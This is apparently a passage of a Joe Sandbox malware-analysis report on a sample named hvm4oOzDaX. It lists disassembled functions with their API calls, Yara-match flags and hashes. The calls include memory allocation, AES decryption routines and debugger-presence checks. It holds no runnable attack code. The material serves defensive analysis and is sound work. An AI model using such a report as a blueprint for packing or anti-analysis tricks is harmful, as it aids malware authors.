Instruction Fuzzy Hash: DD31E2EB348160AE7727859667545FF6AAFE9C3630331803AF883D6702F2C59A4A7071

Function 04D60F83 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: d4b6bdee6d3591d2dc71d8ddbbb0f434405951ffd2bc057f6aa59ee8bc3adee8
Instruction ID: 280fcc3bcffd646d4ce4289e9f3af5bb913c5a9a382b3fe98e8da48bba563710
Opcode Fuzzy Hash: d4b6bdee6d3591d2dc71d8ddbbb0f434405951ffd2bc057f6aa59ee8bc3adee8
Instruction Fuzzy Hash: E13102E7348160AE7713859667455FF6AAFEAC3630331803AF883D6702F2C59A0A7071

Function 04D60FCA Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 74f25c3825b49b8ce174de84e7c97f305cd3b3b79111b979a22c07582538d176
Instruction ID: 1dfa89a136ce66ef27ccd41e7cd54453ab2b56d6387edbf3a134be74b09455a9
Opcode Fuzzy Hash: 74f25c3825b49b8ce174de84e7c97f305cd3b3b79111b979a22c07582538d176
Instruction Fuzzy Hash: 0C2105E73481607E721785566B445FF6BAEE6C3630331803AF843D6702F2D99A0A6031

Function 04D60FB8 Relevance: 1.6, APIs: 1, Instructions: 138COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: afe07e82d94e6c1df270179b78317949ebf0cdbf339795bfd399141a755f7e0e
Instruction ID: 61acc9ee3003c75ef34f859b4a66c8721acab50eeddc4130de3bb6ebdb66bb6d
Opcode Fuzzy Hash: afe07e82d94e6c1df270179b78317949ebf0cdbf339795bfd399141a755f7e0e
Instruction Fuzzy Hash: A02104EB348160BF771681966B545FF6AAEDAC3630331803AF883D6702F2C59E4A7071

Function 04D61053 Relevance: 1.6, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: c06031d7dc3c3bf59e99ee5c4935a277ecc9c0ab3fb74abbd8bc072ac3299e63
Instruction ID: d26b5c14f0eaf9dff3213c55faf433ec5a860cf8a6fcc37202f13bdee0cf0a67
Opcode Fuzzy Hash: c06031d7dc3c3bf59e99ee5c4935a277ecc9c0ab3fb74abbd8bc072ac3299e63
Instruction Fuzzy Hash: 69212BE73481716E771281966B556FF6BAEDAC3630330403AF843D6742F2C59E0A3471

Function 04D60FEA Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 54f7b0b00af60e4b12020cce8e61cc10e22426d14ba2e3a09ce53c34b4af40a5
Instruction ID: e0c229ba3f14e2f17de0199f357e9cf17d54840b98cd123298bee5dd6e8ac9a5
Opcode Fuzzy Hash: 54f7b0b00af60e4b12020cce8e61cc10e22426d14ba2e3a09ce53c34b4af40a5
Instruction Fuzzy Hash: F621F6E73081607F7716919667546FFAAAEDAC3630331803AF843E7742F2C99E0A6071

Function 0041249E Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
Instruction ID: ad8272dea5af250e00f6a395d7f300feb0e2b911a381963764dc482fc342fffd
Opcode Fuzzy Hash: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
Instruction Fuzzy Hash: B4E03031205225AAD73126A69E00BDB3A589B417A4F154233EC04E66D1DBAC9CE182AD

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e19d539462f031469c69ea45d1cad77acc71583726438384a09bba2e4039781a
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: e19d539462f031469c69ea45d1cad77acc71583726438384a09bba2e4039781a
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 00AA787A Relevance: 1.5, APIs: 1, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AA789D

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000AA7000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa7000_hvm4oOzDaX.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 26899a3b32dd1ec3c6259ffac72e7715296db9b8bb4e9b97091c2e2842e36206
Instruction ID: 987ed986106bd3a3a1505ab69ccd9d9fbe782a5a9512dc4a62a46c2e293db7ec
Opcode Fuzzy Hash: 26899a3b32dd1ec3c6259ffac72e7715296db9b8bb4e9b97091c2e2842e36206
Instruction Fuzzy Hash: 33F0E57350E3956AC7028F304C5A78F3F68EF8F211F248488D5854B4A3C32A1C1AC355

Function 009A22C7 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009A43BC

Memory Dump Source

Source File: 00000002.00000002.3242432837.000000000099E000.00000040.00000001.01000000.00000003.sdmp, Offset: 0099E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_99e000_hvm4oOzDaX.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 86e6540cdf0675e4747616ef08246a3ff8a52e901508d14b7fc1875576663f2e
Instruction ID: 14afd42f05ec55a73e6c0ee2a6fc90d12718a3050bc8cf1b3ff151896b98ce9a
Opcode Fuzzy Hash: 86e6540cdf0675e4747616ef08246a3ff8a52e901508d14b7fc1875576663f2e
Instruction Fuzzy Hash: 7CF0927000C640CFDB05AF68C49562DBBE0EF19300F120D6DD6C68B221D63498A59B82

Function 0040E268 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0040E27B

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction ID: def2e2de252ffdbb94672f6279d5865abf5ab7644d9ffbe49541578f7e328dd5
Opcode Fuzzy Hash: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction Fuzzy Hash: 82C08C31100208BBCB00DB46C806B8E7FA8DB803A8F204049F40417251DAB1EE409680

Function 10005BF4 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 10005C07

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction ID: c87f8b0a48b83a8a7248450826a19003e4aa18d6d81e39a7cffe4d34c565a0dd
Opcode Fuzzy Hash: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction Fuzzy Hash: D9C04C75500208BBDB05DF45DD06A4E7BA9EB812A4F204054F41567291DAB5EF449691

Function 00D09C4D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00D09C9E

Memory Dump Source

Source File: 00000002.00000002.3243263415.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D09000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d09000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 41511b72b04b616d884a9b8eea316936c4e8be555fda3a5781e3d9368407ee42
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 0F112B79A00208EFDB01DF99C985E98BBF5EF08350F198094F9489B362D771EA50DB94

Function 00402BF0 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402BFF

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction ID: c3e6f36c677934e3fb1d6ceeea9da9d01375f90aa72a3d22a0593b590ebbe711
Opcode Fuzzy Hash: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction Fuzzy Hash: F7C0013200020DFBCF025F81EC0489A7F2AEB09264F008020FA1804021C7329931ABA9

Function 00402C10 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402C1C

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction ID: 60d78a83612f02709208ad56537e98f16bf966ab6139b9664c308e167d28ca00
Opcode Fuzzy Hash: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction Fuzzy Hash: 61B0923244020CFBCF021F81EC048D93F2AFB08264F008024FA1C44031C733D531AB84

Non-executed Functions

Function 04B53B27 Relevance: 31.4, APIs: 9, Strings: 8, Instructions: 1645COMMON

Download Yara Rule

Strings

rB, xrefs: 04B54DB5
rB, xrefs: 04B550DE
DFEK, xrefs: 04B55143
rB, xrefs: 04B542AC
]DFE, xrefs: 04B544F4
rB, xrefs: 04B56527
FOKD, xrefs: 04B5431F
rB, xrefs: 04B53DD6

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID: DFEK$FOKD$]DFE$rB$rB$rB$rB$rB
API String ID: 0-735762442
Opcode ID: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction ID: ee0bfc3dc63b0200a3346082a56d0392287961d26e93ad7e280e2eefdc377bad
Opcode Fuzzy Hash: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction Fuzzy Hash: 7AE29DB0D002589BEB25EF64DC54BEEFB74EF10308F5041D8D9096B2A1DB756A88CFA5

Function 04B53727 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042A018), ref: 04B537A7
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B537CB
_mbstowcs.LIBCMT ref: 04B5381E
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B53835
GetLastError.KERNEL32 ref: 04B5383F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B53867
GetLastError.KERNEL32 ref: 04B53871
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B53881
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B53943
CryptDestroyKey.ADVAPI32(?), ref: 04B539B5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B53783

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction ID: 320dc16a0059a914a07c6e5c2557f679f34d30819f4a6e8a52c5ced45cb499f4
Opcode Fuzzy Hash: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction Fuzzy Hash: 95818371A00218AFEF249F24CC45B99BBB5FF49344F1081E9E94DE72A0DB31AE858F55

Function 0097D7FF Relevance: 15.4, Strings: 11, Instructions: 1658COMMON

Download Yara Rule

Strings

sS__, xrefs: 0097E58A
!Cy, xrefs: 0097DE13
>vko, xrefs: 0097EBC8
F;?, xrefs: 0097DB9D
F;?, xrefs: 0097DBAA
Q"sS, xrefs: 0097E821
+{5o, xrefs: 0097E85E
.}^C, xrefs: 0097D8BA
8`, xrefs: 0097E757
"Z}, xrefs: 0097E25F
ds^, xrefs: 0097E4CC

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: !Cy$"Z}$+{5o$.}^C$>vko$F;?$F;?$Q"sS$sS__$8`$ds^
API String ID: 0-2257632658
Opcode ID: b500c1e3d71fa2264bcfafa0a812ea58e08e5b14f191531cda5a4dde28313933
Instruction ID: c9fefbec79e4c087597e0c87122191bc72202b894b70e75a03675602587abaf7
Opcode Fuzzy Hash: b500c1e3d71fa2264bcfafa0a812ea58e08e5b14f191531cda5a4dde28313933
Instruction Fuzzy Hash: 37B2F7F3A0C2009FE304AE2DDC8567ABBE5EFD4620F1A853DEAC5C7744E63598058697

Function 004188AA Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1451COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00418A25

Strings

1#IND, xrefs: 00419BB5
1#INF, xrefs: 00419BE0
1#SNAN, xrefs: 00419BBC
1#QNAN, xrefs: 00419BC3

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 14c724df0906a7543d709f4d96d1b8b7f4ee31c8485c5baae612bd997d7771c3
Instruction ID: d7ffb76180c9728a397d1ccf0e686cee7d0516322be8d88619d78ced8c4d9a03
Opcode Fuzzy Hash: 14c724df0906a7543d709f4d96d1b8b7f4ee31c8485c5baae612bd997d7771c3
Instruction Fuzzy Hash: F1C22A72E042288FDB25CE28DD507EAB3B5EB49314F1441ABD84DE7280E779AEC58F45

Function 00985E66 Relevance: 7.9, Strings: 5, Instructions: 1616COMMON

Download Yara Rule

Strings

;?Os, xrefs: 0098710D
$(-u, xrefs: 00986C44
N^R2, xrefs: 009865B4
w>g, xrefs: 00986FDE
_f}w, xrefs: 009870C5

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: $(-u$;?Os$N^R2$_f}w$w>g
API String ID: 0-3645633786
Opcode ID: c545be0644ceb3a0733347bef464de6122abff5f8eabd420fde60df0324d0f3f
Instruction ID: bcaebdeb3be691dcdc01a2a7ddeeec77d733bb6c9690cb560d3955ff9c6d0797
Opcode Fuzzy Hash: c545be0644ceb3a0733347bef464de6122abff5f8eabd420fde60df0324d0f3f
Instruction Fuzzy Hash: D4B228F3A082109FE3046E2DDC8567AFBE9EFD4720F1A453DEAC4C3744EA3598058696

Function 00980DEA Relevance: 7.9, Strings: 5, Instructions: 1609COMMON

Download Yara Rule

Strings

:}s, xrefs: 00982200
zX, xrefs: 00980F1F
SFq{, xrefs: 00981716
@`_, xrefs: 00981B4E
6TWw, xrefs: 009815D0

Memory Dump Source

Source File: 00000002.00000002.3242432837.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_819000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: 6TWw$:}s$@`_$SFq{$zX
API String ID: 0-1001045787
Opcode ID: 873263156a3f40a9f09de2c4a832ebb6e37acc964ccd71b521c439394ebc230e
Instruction ID: d1bbcc86eaf2aedc0ebdc5a3051f443734ed4b9128af3b19e33f058f4c46c111
Opcode Fuzzy Hash: 873263156a3f40a9f09de2c4a832ebb6e37acc964ccd71b521c439394ebc230e
Instruction Fuzzy Hash: 48B227F3A0C2049FE3046E2DEC8577ABBE9EB94320F1A4A3DE6C5C7744E63558058697

Function 004097B2 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004097BE
IsDebuggerPresent.KERNEL32 ref: 0040988A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004098AA
UnhandledExceptionFilter.KERNEL32(?), ref: 004098B4

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: c565fb8366faf90fb764b1371249259a4a166a2e914fc73a985bf40890c2a5d7
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: AB312BB5D1131CDBDB10EF65D9897CDBBB8BF18304F1040AAE409A7290EB755A85CF49

Function 10002FDA Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 10002FE6
IsDebuggerPresent.KERNEL32 ref: 100030B2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 100030D2
UnhandledExceptionFilter.KERNEL32(?), ref: 100030DC

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fd06b871e9cf82683454e3fbfac267bd1ef2951c7b429272aa340f07bdb4f9c2
Instruction ID: 336d1356b37294b5c1fe5cc3e7a5e53ac0bdfc53d52c9a9f50db52ddd632742b
Opcode Fuzzy Hash: fd06b871e9cf82683454e3fbfac267bd1ef2951c7b429272aa340f07bdb4f9c2
Instruction Fuzzy Hash: B6312B75D45269DBEB21DF64C989BCDBBF8EF08340F1081AAE40DA7250EB719A85CF04

Function 04B59A19 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 04B59A25
IsDebuggerPresent.KERNEL32 ref: 04B59AF1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B59B11
UnhandledExceptionFilter.KERNEL32(?), ref: 04B59B1B

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: dfdd5ba5d5d5445a28c7a1b5586aae3e7d6ef734e66efb1d37dff2e1a02ae5d0
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: 4431FAB5D0521CDBDB10DF64D9897CCBBB8BF08304F1041EAE409A7250EB715A85DF45

Function 04CF2070 Relevance: 5.5, Strings: 4, Instructions: 504COMMON

Download Yara Rule

Strings

`,@, xrefs: 04CF2260
0,@, xrefs: 04CF2252
@, xrefs: 04CF208F
@,@, xrefs: 04CF2259

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: 0,@$@$@,@$`,@
API String ID: 0-1654315312
Opcode ID: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction ID: 9d04eb5d453bd822a23a1c305b061fc2d574cb9f1f4083cf641312b7c7e43fb5
Opcode Fuzzy Hash: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction Fuzzy Hash: CA127C71B002159BDB54CF98DD80BADB7B2FF48314F1441AAEA09AB381D77AF941CB94

Function 0040C0B3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0040C1AB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040C1B5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0040C1C2

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction ID: dd4c83c30a1d2e7c36c102c60c461113305a32f1f02fbca7a201bc05c8f10de1
Opcode Fuzzy Hash: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction Fuzzy Hash: 3031E774901228EBCB21DF65D8897CDBBB4BF18310F5041EAE40CA7291E7349F858F49

Function 100056A0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 10005798
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 100057A2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 100057AF

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
